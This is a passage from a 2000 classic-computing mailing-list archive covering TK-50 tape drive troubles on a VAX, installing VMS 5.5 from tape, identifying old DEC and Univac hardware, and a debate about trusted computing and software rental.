the drive. > 5) Shove it all the way back > 6) Push drive flap down. You may need a hammer. > 7) Press Big Red Button. Green light will go off, red light will > start flashing, then go solid. > 8) Tape drive begins reading tape. > > Here's where we go off onto a tangent for a little bit, although it > is related. TK-50 (drive;cartridge;whole shebang) were designed by complete > absolute fscking lusers. > > The cartridges are nice and small. This is because they are just a > reel of tape. The other reel is inside the drive itself. When it starts to > read a tape, it snags the beginning of the tape using a leader that whips > around the spindle of the inside reel, and drags the tape in past the read > and erase heads[4]. > > 9) Drive reads tape, system boots, all is good. > 10) You press the big red button again, wait 45 minutes for the thing > to rewind, then it stops and the green light goes on, it moves a > servo that allows you to move the drive flap again, then you are > permitted to remove the tape. No eject mechanisim whatsoever. > > Now, on with the show. > > So here I am, booting the VAX. > > Things are going good, we get past the 5 minute POST, and the drive > starts *reading* the tape. So the media is good and I'm actually thinking > I have a chance yet. Then the gods decide that they've had enough fun at my > expense, and it's time to get serious. > > Loading system software. > > 2.. > ?4B CTRLERR, MUA0 > ?06 HLT INST > PC = 00000E0A > Failure. > >>> > > My reaction: "Shit." > > VAX's reaction: "Yadda yadda yadda *WHOMP* *SCREEEECCCH* *thwap*" > "THWAPthwapthwapthwapthwapthwapthwapthwapthwap" > [continues] > > My reaction: "MotherfuckingasslickingpieceofshitasspirateDECtapedrive." > > Actually, my reaction was much more lengthy and probably much more > obscene, but in the afterglow right now that's all I can remember. > > Knowing that the tape is hopelessly fucked and there went my last > chance for a while, I don't even bother with the normal procedures. This is > a TK-50. One must adapt constantly or get sucked in. > > I quickly wrestle the vax for the tape, remove it, and all seems good. > But I know what's coming. A few hundred feet of half-inch tape, all spooled > into the drives internals. > > I spend the next half hour removing tape from the drive, clean it up, > check everything out, decide to try out this unlabeled TK50 I have. Nope, > won't boot. Okay VAX, rewind tape. > > [Pause for one hour] > > VAX, surely you must be done with it now. > > VAX: Nope, it's still in there. I swear. > > Me: BULLSHIT. I can hear you flapping around empty. You're flapping > around so much that the VAX is about ready to take off and my hair is being > blown back. > > Me: Hits the power switch, pops the thing open, pulls the drive out. > Grabs toolkit and commences disassembly of the drive. Sure enough, it's done. > But I can't get the VAX to let go of the tape until it realizes that it's done, > which isn't going to happen. Powercycling et al will not make it realize that > it's done, it has to feel like relinquishing it's dinner. > > So, I'm now dissassembling the TK-50. Sure enough, the magic little > leader that feeds these tapes in is broken. Surprise surprise. Tape looks > okay tho. > > It's a couple of hours later, and I have one reassembled TK50, one > sliced hand, a screwdriver with a broken tip, a spare black plastic part, > three spare washers, a couple of spare screws and a spring. The tape is > still in the drive, and I've managed to get all of the first tape into a box > for convenient disposal at my leisure. Like I have leisure. Anyhow, I'd > like to make you an offer: Free TK-50 tape drive, including install media in > need of a manual rewind and a preloaded blank tape. Donatee must pay shipping > and psychiatric admission fee. Includes spare parts[5]. > > WTB: One SCSI Qbus card. > > I am *not* going through this again. Especially because I took > pictures of the aftermath of the first tape, and I'm going to post those > near the VAX as a reminder. Let me know if anyone wants scans. > > Every single bad thing you've ever heard about any tape drive doesn't > even begin to describe what the TK-50 is like. Exabyte 8200s have nothing on > these things and never will. DEC was fucking up hardware design years before > the advent of the 8200. I personally believe that the TK-50 is probably what > nearly bankrupted DEC. The number of man-hours wasted in-house wrestling with > these things alone is in the millions. It would have to be. > > I saw an RU-81A today. Now *there* is a sight. Appropriately in a > junkyard. For those of you involved with BOFHnet, what do you think of a > bofh.tdfh.tk50? This drive definitely has the FH aspect down. > > *sigh* > > Down, > not > across > > --Majdi > > [1] Currently hopelessly crippled due to a drive failure. > [2] The problem is that DEC assumed that the VAX knew more about what was > going on in this drive than the person feeding it ferrite. Boy did > they guess wrong. > [3] They *CANNOT* get any worse. > [4] Which are opposed from each other. > [5] You cannot disassemble one of these drives and not wind up with > spare parts. They can't be anything important, because the drive has > to work to suffer some performance degredation and they don't work, so > there is nothing to degrade. > > -- > Majdi Abbas I do not speak for my employer. > "Damn, she looked a lot cuter in the bar..." -- Chris Rioux > (He may be one of my coworkers, but he doesn't speak for them either) > > > > > From hofmanwb at worldonline.nl Wed May 17 00:39:57 2000 From: hofmanwb at worldonline.nl (W.B.(Wim) Hofman) Date: Sun Feb 27 18:51:43 2005 Subject: Booting VMS 5.5 from tape? Message-ID: <20000516212657.9C71C36C14@rhea.worldonline.nl> Good TK50 tapes are getting rare. In my experience, first clean the head and then try to read. Loosen the two springs that hold the head down by shifting them sidewards, then the head can be slid upwards and be cleaned. Wim ---------- From mrdos at swbell.net Mon May 15 16:32:30 2000 From: mrdos at swbell.net (Owen Robertson) Date: Sun Feb 27 18:51:43 2005 Subject: Sperry Univac Minicomputer Message-ID: <000601bfbeb5$14fac500$b6723ed8@compaq> It looks to be about 5ft tall. The top half is the traditional Sperry Red/Orange color, and the bottom half is grey. It's mounted in a rack with several storage devices. I can't make out the model number on the front. The caption in the book says it's a minicomputer. It's much too small to be a mainframe. I've never seen a UNIVAC in "person" before. I've always thought it would be neat to own one. Thanks, Owen From steverob at hotoffice.com Tue May 16 16:45:40 2000 From: steverob at hotoffice.com (Steve Robertson) Date: Sun Feb 27 18:51:44 2005 Subject: Finding Classic Computers Message-ID: <2921A6D846E9D31182490050040DC0D668232E@hoexc101.hotoffice.com> An airplane has always been high on my list and with any luck, I'll be getting another one soon! Sorry Allison but, I'd rather fly a Piper than a Cessna. Steve Robertson > -----Original Message----- > From: allisonp@world.std.com [mailto:allisonp@world.std.com] > Sent: Tuesday, May 16, 2000 4:10 PM > To: classiccmp@classiccmp.org > Cc: JoAnn Rachor > Subject: Re: Finding Classic Computers > > No plane???? Heavens, oh my!!! Two things I don't give up, my Cessna > and some of my old machines than have followed me through 5 moves. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000516/63083a84/attachment.html From mikeford at socal.rr.com Tue May 16 17:03:43 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:44 2005 Subject: Finding Classic Computers In-Reply-To: <2921A6D846E9D31182490050040DC0D668232E@hoexc101.hotoffice.com> Message-ID: >An airplane has always been high on my list and with any luck, I'll be >getting another one soon! Sorry Allison but, I'd rather fly a Piper than a >Cessna. There is a couple in AZ with a working, flying, F104. (one of those neat ones if not the 104). From ethan_dicks at yahoo.com Tue May 16 17:07:08 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:51:44 2005 Subject: Finding Classic Computers Message-ID: <20000516220708.20712.qmail@web618.mail.yahoo.com> --- allisonp@world.std.com wrote: > No plane???? Heavens, oh my!!! Two things I don't give up, my Cessna > and some of my old machines than have followed me through 5 moves. Cool! I didn't know you flew. I'm a student myself - one more solo cross-country and my night instruction and I'm just about ready for my check ride. > A hanger... Even tiwht a cessna thats a lot of room left for a small > 11/780... ;) I have room at the farm for a two-seater in the quonset hut, but it would have to share the space with the pair of 11/70s and the 11/750. -ethan ===== Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From cmcmanis at mcmanis.com Tue May 16 17:20:38 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:44 2005 Subject: Final score Chuck 2, TK50 0 (was Re: Booting VMS 5.5 from tape?) In-Reply-To: <20000516212657.9C71C36C14@rhea.worldonline.nl> Message-ID: <4.1.20000516151100.03ffdf00@mailhost.hq.freegate.com> So here is a summary for the archives and whomever else might follow such things :-) I actually have two tape sets, one is a four cartridge set with the following tapes in it: 1 AQ-JP22H-BE VMS V5.5 BIN TK50 1/2 Copyright 1991 Digital Equipment Corp 2 AQ-LC99D-BE VMS V5.5 BIN TK50 2/2 Copyright 1991 Digital Equipment Corp 3 AQ-NH24D-BE VMS V5.5 BIN TK50 MUP MANDATORY UPDATE Copyright 1991 Digital Equipment Corp 4 AQ-PQWLO-BE VMS V5.5-2 BIN TK50 1/1 Copyright 1992 Digital Equipment Corp The second has only two tapes in it: 1 AQ-PRAKO-O1 VMS V5.5-2 REMASTERED TK50 1/2 = VMS ONLY Copyright 1992 Digital Equipment Corp 2 AQ-PRALO-O1 VMS V5.5-2 REMASTERED TK50 2/2 = S/A BAKUP & DECWINDOWS Copyright 1991 Digital Equipment Corp The good news is that I've successfully installed VMS 5.5-2 with both sets of tapes. For those of you who have either of these tapes ... Boot the tape marked 2/2 and it will boot into standalone backup. Then for the 5.5 tapes type: BACKUP/VERIFY MUA0:VMS055.B/SAVE_SET DUA0: for the 5.5-2 tape type: BACKUP/VERIFY MUA0:VMS2055.B/SAVE_SET DUA0: Then reboot after it installs and follow the prompts. --Chuck From foo at siconic.com Tue May 16 16:26:41 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:44 2005 Subject: Finding Classic Computers In-Reply-To: Message-ID: On Tue, 16 May 2000, Mike Ford wrote: > >An airplane has always been high on my list and with any luck, I'll be > >getting another one soon! Sorry Allison but, I'd rather fly a Piper than a > >Cessna. > > There is a couple in AZ with a working, flying, F104. (one of those neat > ones if not the 104). HEY! I have a FIREPLACE but this isn't the FIREPLACE mailing list either, ya know? From mgregory at vantageresearch.com Tue May 16 17:31:22 2000 From: mgregory at vantageresearch.com (Mark Gregory) Date: Sun Feb 27 18:51:44 2005 Subject: Finding Classic Computers Message-ID: <00f401bfbf86$76dd4a00$0200a8c0@marvin> -----Original Message----- From: Mike Ford To: classiccmp@classiccmp.org Date: Tuesday, May 16, 2000 4:08 PM Subject: RE: Finding Classic Computers > >There is a couple in AZ with a working, flying, F104. (one of those neat >ones if not the 104). > Actually, it's an ex-CF-104, built for the Canadian Armed Forces. The main differences (IIRC) were in modified flaps, leading edge slats and air brakes to provide better low-speed performance. The perennially cash-strapped CAF actually operated the Starfighter, designed as a high-speed interceptor, as fighter-bombers (!) for ground support in Europe. This doubtless contributed to the 104's reputation as a "widow-maker" in the CAF. Nice toy if you have money to burn and like to sightsee at Mach 2. Mark. From dogas at leading.net Tue May 16 17:33:31 2000 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:51:44 2005 Subject: Sperry Univac Minicomputer Message-ID: <000801bfbf86$c5ef9940$ca646464@dogclient01> >I'd be curious to know what others there might be. >--Pat. I pulled the control panals off a Univac 1540... - Mike: dogas@leading.net From kstumpf at unusual.on.ca Tue May 16 18:19:18 2000 From: kstumpf at unusual.on.ca (Kevin Stumpf/Unusual Systems) Date: Sun Feb 27 18:51:44 2005 Subject: Sperry Univac Minicomputer References: <001101bfbead$53370e80$92893cd8@compaq> Message-ID: <011001bfbf8d$2c1f3580$9581b7d1@kstumpf> A company called Varian Corp made all sorts of electronic equipment in the 1970's, including computers. Sperry Rand Corp. bought them out in 1977 and suddenly UNIVAC had a minicomputer line. But Varian did the same thing to get into the mini business, Varian bought Data Machines Inc. Varian had their popular V77 line started when Sperry bought them. ----- Original Message ----- From: Owen Robertson To: Classic Computer Mailing List Sent: Monday, May 15, 2000 4:36 PM Subject: Sperry Univac Minicomputer Does anyone know anything about the UNIVAC minicomputer(s)? I didn't know there was such a thing as a UNIVAC minicomputer, until I came across a picture of one in a book the other day. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000516/ec576c39/attachment.html From eric at brouhaha.com Tue May 16 18:20:48 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:51:44 2005 Subject: Software rental, "trusted computing", etc. (was Re: Is this for real -- a new C64/128) In-Reply-To: <003201bfbe87$96d272e0$0400c0a8@winbook> (richard@idcomm.com) References: <003201bfbe87$96d272e0$0400c0a8@winbook> Message-ID: <20000516232048.3066.qmail@brouhaha.com> "Richard Erlacher" wrote: > Since there's a strong push in the direction of a hermetically-sealed > internet-PC, with no options, it makes me shudder to think there may be a > time, soon, when we have to buy software by the drink, downloading it each > time from the net and for a fee, as the Oracle folks would like us to do. I > see no effort from anyone else to dispell the notion that that's a good > thing. A lot of people don't seem to recognize this threat, and some people refuse to believe it even when it's pointed out. This is what Intel's processor serial number was about. Intel tried to represent that the serial number would provide some sort of benefit to the user, but in reality it was not the end user whose interests they were trying to serve. One of Intel's architects was publicly quoted as saying "The actual user of the PC -- someone who can do anything they want -- is the enemy." Intel lost that particular battle, but the war is far from over. There's now a think called the "Trusted Computing Platform Alliance.": http://www.trustedpc.org/ Such a pleasant-sounding, reassuring name. Until you think about one little detail. Trusted by *whom*? What the software companies, record companies, and movie studios want is a world in which they have complete control over what you can and can't do with their content, and TCPA is chartered with developing the technical infrastructure and standards to make it happen. However, they won't try to ram this down our throats all at once. They'll push it in small increments, and try to make us believe that each little piece is actually a good thing, or at least that it's not significant enough that we should worry about it. But if we allow them to do this, eventually we'll have computers with: * processors that compute a digital signature of the platform BIOS, and refuse to execute "unauthorized" code. * BIOSes that compute a digital signature of the operating system. * Operating systems that compute a digital signature of the BIOS (necessary to make sure that the OS isn't running on an unauthorized platform). And so on. Some cite free software as a force to prevent this kind of madness. Right now we can run both free operating systems and commercial operating systems on the same inexpensive commodity hardware (with the exception of certain peripheral devices whose manufacturers won't release hardware specifications). But eventually we might have a situation where commodity hardware can only run officially sanctioned operating systems, and hardware that is capable of running free software can't run the official stuff. As I see it, the only way this is likely to be averted is if free software develops a sufficiently broad deployment that the market for computers that can't run it is insufficient to satisfy the vendors. You probably don't want to read more of my ranting about this, but it's at http://www.brouhaha.com/~eric/editorials/trusted_computing.html Eric From cmcmanis at mcmanis.com Tue May 16 18:30:54 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:44 2005 Subject: hidden vaxes Message-ID: <4.1.20000516162403.045798c0@mailhost.hq.freegate.com> Well, well, well this was a treat. A while ago I saved a couple of MicroVAX 3400's that were headed for the dump. They had originally been a two VAX cluster. Now 3400's aren't particularly exciting as they have a KA640 CPU (2.7 VUPs), on board DSSI and on board lance ethernet. They were fairly quickly replaced by the 3600 (KA650) and then the 3800 (KA655, 3.8Vups). So I installed VMS on one of them, and decided to net boot the other into NetBSD to see what devices it had. Netbooting it failed. Actually the 'B ESA0' failed with "DEV ERR?" (device error). So I did a SHOW DEV and got a list of devices in the "wrong" format and an ethernet port EZA0. Did a double take and reset it to go through the boot sequence again. It reports as a KA660! (VAX 4000/200) This is great as it eliminates one of the holes in my KA6xx collection (currently KA630, KA640, KA650, KA655, KA660, and KA670) Now to find a KA690 (or better yet a KA691) and a KA620 (which I foolishly gave away at an earlier time) and it will be a clean sweep! --Chuck From rigdonj at intellistar.net Tue May 16 19:34:26 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:51:44 2005 Subject: L 0400, Another weird DEC card Message-ID: <3.0.1.16.20000516193426.25ef94c6@mailhost.intellistar.net> Can anayone id this DEC card? It's not listed in the DEC field guide. It's a large card with metal extractors and a metal rib in the outside edge. The number "L 0400" is stamped in the outside rib. It measures roughly 16 x 12 1/2". It has eight AM2901 bit slice processors and twelve AM 9122 high speed static RAMS on it. There are three large card edge connectors on it. I posted a picture at "www.intellistar.net/~rigdonj/misc/l0400.jpg". Joe From richard at idcomm.com Tue May 16 18:48:28 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:44 2005 Subject: Software rental, "trusted computing", etc. (was Re: Is this for real -- a new C64/128) References: <003201bfbe87$96d272e0$0400c0a8@winbook> <20000516232048.3066.qmail@brouhaha.com> Message-ID: <000d01bfbf91$3eb86be0$0400c0a8@winbook> I'm glad I'm not the only one who's noticed this trend. It's pointed out at considerable length in almost ever Computer-Chronicles, or other techie-targeted newsreel, that Oracle CEO Ellison (?) has been promoting the notion of renting software for some time now. His favorite concept is a resource-poor Internet-PC in every home, renting his software and using data from his servers. Unfortunately, though Bill Gates is not in the same camp with him, the billionaire CEO seems to think the public would benefit by paying for the hardware and the software more or less forever. I'm not in agreement with anything that doesn't let me pick and choose which software I run on my hardware. If they go ahead with this, who's going to keep every version with every possible configuration option already installed exactly as each user wants. It sounds more like a McDonalds approach to computers. However, I don't like McDonalds these days nearly as much as I did when there were only three things you could buy, and the guy at the window lost his job if you didn't have them within 30 seconds of when you walked up. Just in case, however, you'd best not dispose of that old reliable hardware and software . . . it doesn't take up much space . . . Dick ----- Original Message ----- From: Eric Smith To: Sent: Tuesday, May 16, 2000 5:20 PM Subject: Software rental, "trusted computing", etc. (was Re: Is this for real -- a new C64/128) > "Richard Erlacher" wrote: > > Since there's a strong push in the direction of a hermetically-sealed > > internet-PC, with no options, it makes me shudder to think there may be a > > time, soon, when we have to buy software by the drink, downloading it each > > time from the net and for a fee, as the Oracle folks would like us to do. I > > see no effort from anyone else to dispell the notion that that's a good > > thing. > > A lot of people don't seem to recognize this threat, and some people > refuse to believe it even when it's pointed out. > > This is what Intel's processor serial number was about. Intel tried > to represent that the serial number would provide some sort of benefit > to the user, but in reality it was not the end user whose interests > they were trying to serve. One of Intel's architects was publicly quoted > as saying "The actual user of the PC -- someone who can do anything they > want -- is the enemy." Intel lost that particular battle, but the war is > far from over. > > There's now a think called the "Trusted Computing Platform Alliance.": > http://www.trustedpc.org/ > Such a pleasant-sounding, reassuring name. Until you think about one > little detail. Trusted by *whom*? > > What the software companies, record companies, and movie studios want > is a world in which they have complete control over what you can and > can't do with their content, and TCPA is chartered with developing the > technical infrastructure and standards to make it happen. > > However, they won't try to ram this down our throats all at once. They'll > push it in small increments, and try to make us believe that each little > piece is actually a good thing, or at least that it's not significant > enough that we should worry about it. > > But if we allow them to do this, eventually we'll have computers with: > > * processors that compute a digital signature of the platform BIOS, and > refuse to execute "unauthorized" code. > > * BIOSes that compute a digital signature of the operating system. > > * Operating systems that compute a digital signature of the BIOS > (necessary to make sure that the OS isn't running on an unauthorized > platform). > > And so on. > > Some cite free software as a force to prevent this kind of madness. Right > now we can run both free operating systems and commercial operating systems > on the same inexpensive commodity hardware (with the exception of certain > peripheral devices whose manufacturers won't release hardware specifications). > But eventually we might have a situation where commodity hardware can only > run officially sanctioned operating systems, and hardware that is capable > of running free software can't run the official stuff. > > As I see it, the only way this is likely to be averted is if free software > develops a sufficiently broad deployment that the market for computers > that can't run it is insufficient to satisfy the vendors. > > You probably don't want to read more of my ranting about this, but it's > at > http://www.brouhaha.com/~eric/editorials/trusted_computing.html > > Eric > From thompson at mail.athenet.net Tue May 16 19:02:04 2000 From: thompson at mail.athenet.net (Paul Thompson) Date: Sun Feb 27 18:51:44 2005 Subject: L 0400, Another weird DEC card In-Reply-To: <3.0.1.16.20000516193426.25ef94c6@mailhost.intellistar.net> Message-ID: It is a CDP (CI750 DATA PATH MODULE) On Tue, 16 May 2000, Joe wrote: > > > Can anayone id this DEC card? It's not listed in the DEC field guide. > "www.intellistar.net/~rigdonj/misc/l0400.jpg". > > Joe > > From ard at p850ug1.demon.co.uk Tue May 16 19:14:47 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:44 2005 Subject: Software rental, "trusted computing", etc. (was Re: Is this for real -- a new C64/128) In-Reply-To: <20000516232048.3066.qmail@brouhaha.com> from "Eric Smith" at May 16, 0 11:20:48 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2672 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000517/87484504/attachment.ksh From allisonp at world.std.com Tue May 16 18:25:51 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:44 2005 Subject: Finding Classic Computers Message-ID: <002901bfbf8f$1c425140$7264c0d0@ajp166> >>An airplane has always been high on my list and with any luck, I'll be >>getting another one soon! Sorry Allison but, I'd rather fly a Piper than a >>Cessna. It's not what you fly, it's that you do. I have time in PA28/140 and PA32s. The C150 was available at an affordable price and NO training time on it so I got it... had that almost as long as my NS*horizon. >There is a couple in AZ with a working, flying, F104. (one of those neat >ones if not the 104). Feh, jets. If I were to fly a jet it would have to be an A10. Allison From allisonp at world.std.com Tue May 16 18:29:12 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:44 2005 Subject: Finding Classic Computers Message-ID: <002a01bfbf8f$1d13ab00$7264c0d0@ajp166> >HEY! I have a FIREPLACE but this isn't the FIREPLACE mailing list either, >ya know? Ya, but you can't store a computer there, a hanger however is a possible place for a museum. It's problem is often they are expensive space but, if you have a plane in a hanger the remaining space is not trivial. Allison From allisonp at world.std.com Tue May 16 18:22:26 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:44 2005 Subject: Finding Classic Computers Message-ID: <002801bfbf8f$1b53d290$7264c0d0@ajp166> >Cool! I didn't know you flew. I'm a student myself - one more solo Yep, been drivin my C150 '528 for the last 21 years. ;) If things go well it may even wander over to Ohio in the next few months. >cross-country and my night instruction and I'm just about ready for >my check ride. Ah, the big day. >I have room at the farm for a two-seater in the quonset hut, but it would >have to share the space with the pair of 11/70s and the 11/750. Just as good! Allison From cmcmanis at mcmanis.com Tue May 16 19:43:16 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:44 2005 Subject: Software rental, "trusted computing", etc. In-Reply-To: References: <20000516232048.3066.qmail@brouhaha.com> Message-ID: <4.1.20000516173938.045ab4c0@mailhost.hq.freegate.com> >Alas I _do_ recognise it, and it worries me... If you want to follow this to its illogical conclusion: 1) Computers only run "authorized software" 2) Uncontrolled computers can be used to commit cyber- crime. 3) Owning an uncontrolled computer requires a license. 4) All uncontrolled computers are confiscated. So will it happen? I don't know. I do know that we are seeing the peak/heydey of the all powerful "personal" computer. This will make them classics to folks 10 years from now who can't develop applications for the machines they use unless the manufacturer has allowed for that. --Chuck From allisonp at world.std.com Tue May 16 18:51:29 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:44 2005 Subject: Software rental, "trusted computing", etc. (was Re: Is this for real -- a new C64/128) Message-ID: <004801bfbf96$113ccc60$7264c0d0@ajp166> >Unfortunately, though Bill Gates is not in the same camp with him, the >billionaire CEO seems to think the public would benefit by paying for the >hardware and the software more or less forever. I'm not in agreement with Well remember the "users" in his world view rips him off. >Just in case, however, you'd best not dispose of that old reliable hardware >and software . . . it doesn't take up much space . . . You bet. An aside, I've worked with "thin" clients and they need to be resource rich as network bandwidth is a fuel that makes them run instead of a local disk. So swapping over the net is not workable. After all you need gigabit eithernet to come close to DMA66 IDE disk performance! Sounds like the old days, central computers and smart terminals. Allison From allisonp at world.std.com Tue May 16 19:06:54 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:44 2005 Subject: Software rental, "trusted computing", etc. (was Re: Is this for real -- a new C64/128) Message-ID: <004901bfbf96$120c9f80$7264c0d0@ajp166> >I am sometimes asked 'what can that 20-year-old machine do'. One correct >answer is 'Everything it did 20 years ago' (I was having this discussion >with Philip Belben the other day, so some ideas here may have come from >that). In other words, that 20-year-old CP/M box with Wordstar was doing >word processing back then. It can still do word processing. Maybe not >with all the fancy fonts and formatting tricks of a more modern machine. >But it can still print letters, books, etc. And quite honestly, that's >all I need (and if people can't accept a plain ascii file from me, I have >no intention of dealing with them!). I would have said the same.... save for now we know that even with older hardware things like fonts and pretty printing are easily doable on hardware like IMSAIs and PDP11s (and often done well!). >It never fails to amaze me that computers are wonderful machines >_because_ they can be programmed to do just about anything. And then >modern OSes/applications (and things like the TCPA) seem to be preventing >you from programmming them. Go figure. The only difference between a PDP-11 and a PIII/750 is how long you may wait for the same results. Granted some software projects are only doable in reasonable time scales as a result of speed. For practical projects I have a 386/16 that does run W95 so speed is not the absolute catalyst. Remember: Stable Mature systems we know how to use, applies here. Allison From allisonp at world.std.com Tue May 16 18:40:27 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:44 2005 Subject: Software rental, "trusted computing", etc. (was Re: Is this for real -- a new C64/128) Message-ID: <004701bfbf96$0f93fe60$7264c0d0@ajp166> >Some cite free software as a force to prevent this kind of madness. Right >But eventually we might have a situation where commodity hardware can only >run officially sanctioned operating systems, and hardware that is capable >of running free software can't run the official stuff. That and old platforms that are not of the "trusted" archetecture. >As I see it, the only way this is likely to be averted is if free software >develops a sufficiently broad deployment that the market for computers >that can't run it is insufficient to satisfy the vendors. ...and enough old hardware to make it a battle. Allison From vcf at siconic.com Tue May 16 19:28:25 2000 From: vcf at siconic.com (Vintage Computer Festival) Date: Sun Feb 27 18:51:44 2005 Subject: IBEX info? (fwd) Message-ID: Can anyone help this dude? ---------- Forwarded message ---------- Date: Tue, 16 May 2000 10:59:23 -0500 From: Beau Reichert To: vcf@vintage.org Subject: IBEX info? Do you know where I could get info on a IBEX computer. Thanks Beau Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From richard at idcomm.com Tue May 16 20:35:34 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:44 2005 Subject: Software rental, "trusted computing", etc. (was Re: Is this for real -- a new C64/128) References: Message-ID: <001101bfbfa0$3505ac20$0400c0a8@winbook> Quite so! I particularly agree that all the computers of 20 years ago still do, and just as well, everything that they did 20 years ago, and that, in many cases, hasn't been improved much over the ensuing 20 years. Payroll and accounting packages still crank out the weekly checks, track the payables and receivables, and really can't improve things much by running faster. In fact, most of the processing bandwith improvements that have occurred in the last 20 years have gone for things we really didn't think we needed back then, and, quite frankly, still don't really need today. The GUI is where most of the bandwidth has gone, and to the "action-games" with their inane flash and silly sounds. Sadly, when you run the 20-year old software on the current generation of machines, it shows you how little improvement there's really been. All those gigabytes of hard disk space and hundreds of megabytes of RAM don't buy you a thing when you're running code designed for a 64K memory space. Dick ----- Original Message ----- From: Tony Duell To: Sent: Tuesday, May 16, 2000 6:14 PM Subject: Re: Software rental, "trusted computing", etc. (was Re: Is this for real -- a new C64/128) > > > > "Richard Erlacher" wrote: > > > Since there's a strong push in the direction of a hermetically-sealed > > > internet-PC, with no options, it makes me shudder to think there may be a > > > time, soon, when we have to buy software by the drink, downloading it each > > > time from the net and for a fee, as the Oracle folks would like us to do. I > > > see no effort from anyone else to dispell the notion that that's a good > > > thing. > > > > A lot of people don't seem to recognize this threat, and some people > > refuse to believe it even when it's pointed out. > > Alas I _do_ recognise it, and it worries me... > > People have laughed at me (and even flamed me) for wanting/expecting > complete documentation on everything that I own, but quite honestly, > completely documented stuff is stuff that you can do what the heck you > like with. > > There can be no 'hidden' system calls in linux. Anyone can read the > kernel sources and find them. Unlike Windows, for example. > > There can be no hidden hardware features of the PDP11/45. Anyone can read > the printset and microcode flows and figure out just what it will do with > every possible combination of Unibus signals. Unlike certain > microprocessors I could mention. > > One thing that will happen if we get to 'closed' machines that can only > run rented software is that I suspect in certain circles (this list being > one of them, obviously), classic computers will suddenly become very > popular for real work. Machines where you can run your own software and > add your own hardware. > > I am sometimes asked 'what can that 20-year-old machine do'. One correct > answer is 'Everything it did 20 years ago' (I was having this discussion > with Philip Belben the other day, so some ideas here may have come from > that). In other words, that 20-year-old CP/M box with Wordstar was doing > word processing back then. It can still do word processing. Maybe not > with all the fancy fonts and formatting tricks of a more modern machine. > But it can still print letters, books, etc. And quite honestly, that's > all I need (and if people can't accept a plain ascii file from me, I have > no intention of dealing with them!). > > It never fails to amaze me that computers are wonderful machines > _because_ they can be programmed to do just about anything. And then > modern OSes/applications (and things like the TCPA) seem to be preventing > you from programmming them. Go figure. > > > There's now a think called the "Trusted Computing Platform Alliance.": > > http://www.trustedpc.org/ > > Such a pleasant-sounding, reassuring name. Until you think about one > > little detail. Trusted by *whom*? > > Well, not by me, that's for sure... > > -tony > From rutledge at cx47646-a.phnx1.az.home.com Tue May 16 20:45:28 2000 From: rutledge at cx47646-a.phnx1.az.home.com (Shawn T. Rutledge) Date: Sun Feb 27 18:51:44 2005 Subject: Software rental, "trusted computing", etc. (was Re: Is this for real -- a new C64/128) In-Reply-To: <20000516232048.3066.qmail@brouhaha.com>; from Eric Smith on Tue, May 16, 2000 at 11:20:48PM -0000 References: <003201bfbe87$96d272e0$0400c0a8@winbook> <20000516232048.3066.qmail@brouhaha.com> Message-ID: <20000516184528.C5340@electron.quantum.int> On Tue, May 16, 2000 at 11:20:48PM -0000, Eric Smith wrote: > Some cite free software as a force to prevent this kind of madness. Right > now we can run both free operating systems and commercial operating systems > on the same inexpensive commodity hardware (with the exception of certain > peripheral devices whose manufacturers won't release hardware specifications). > But eventually we might have a situation where commodity hardware can only > run officially sanctioned operating systems, and hardware that is capable > of running free software can't run the official stuff. I think in America at least there will always be enough individualists to say "over my dead body," and probably always competitors in the hardware space too. Even Intel has never had a real monopoly; and lately my perception is it's got less market share than it used to. And the free software tends to be more portable. So if Intel were to decide to cater to the "lockdown" market then maybe AMD would be selling more processors to the rest of us. Fortunately Intel's attitude towards free software is not that bad at the moment. And even if they try to lock things down the efforts of the hackers to find workarounds can't be underestimated. I think that in the long run the majority usually gets its way; and everyone knows it's better to own than to rent if one can afford it. -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://www.bigfoot.com/~ecloud kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ Get money for spare CPU cycles at http://www.ProcessTree.com/?sponsor=5903 From geoffrob at stmarks.pp.catholic.edu.au Tue May 16 20:46:05 2000 From: geoffrob at stmarks.pp.catholic.edu.au (Geoff Roberts) Date: Sun Feb 27 18:51:44 2005 Subject: OT: Private jets was Re: Finding Classic Computers References: <00f401bfbf86$76dd4a00$0200a8c0@marvin> Message-ID: <003a01bfbfa1$aa938e20$de2c67cb@stmarks.pp.catholic.edu.au> ----- Original Message ----- From: "Mark Gregory" To: Sent: Wednesday, May 17, 2000 